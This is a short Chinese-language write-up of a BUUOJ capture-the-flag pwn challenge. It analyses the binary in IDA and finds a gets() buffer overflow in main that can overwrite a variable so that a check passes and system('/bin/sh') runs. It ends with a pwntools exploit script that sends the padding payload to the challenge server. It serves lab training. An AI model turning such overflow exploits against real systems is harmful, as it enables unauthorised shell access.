环境:WSL2,ubuntu16.04,python2
checksec文件:
拖入ida分析:
main函数中就有system(‘bin/sh’),只要check函数的返回值为1即可执行
查看check函数:
只要a1和fake_flag相等,函数就能返回1
a1就是main函数里的v5,值为:ju3t_@_f@k3_f1@g
fake_flag的值为:n0t_r3@11y_f1@g
只要将v5的值覆盖为n0t_r3@11y_f1@g即可
main函数中有get函数可用,
v4:
v4是var_70
v5是var_40
因此只需覆盖他们的地址差即可在v5中写入n0t_r3@11y_f1@g
exp:
from pwn import *
io = remote("node4.buuoj.cn","26500")
payload = (0x70-0x40)*'a' + 'n0t_r3@11y_f1@g'
io.sendline(payload)
io.interactive()
~ ~ ~
结果:



